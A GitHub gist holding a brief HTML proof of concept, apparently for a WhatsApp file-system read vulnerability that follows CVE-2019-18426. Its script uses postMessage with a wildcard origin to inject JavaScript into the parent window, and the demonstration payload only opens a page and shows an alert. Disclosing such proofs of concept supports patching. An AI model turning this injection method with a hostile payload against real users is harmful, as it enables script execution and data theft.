Skip to content

Instantly share code, notes, and snippets.

@galpx
Created August 11, 2020 10:06
Show Gist options
  • Save galpx/cbf45369ed3a19427bab94847938a41b to your computer and use it in GitHub Desktop.
Save galpx/cbf45369ed3a19427bab94847938a41b to your computer and use it in GitHub Desktop.
WhatsApp FS read vuln post CVE-2019-18426
<html>
<head></head>
<body>
<script>
top.postMessage(
JSON.stringify(
"open('https://facebook.com');
alert('external payload');"
),
"*");
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment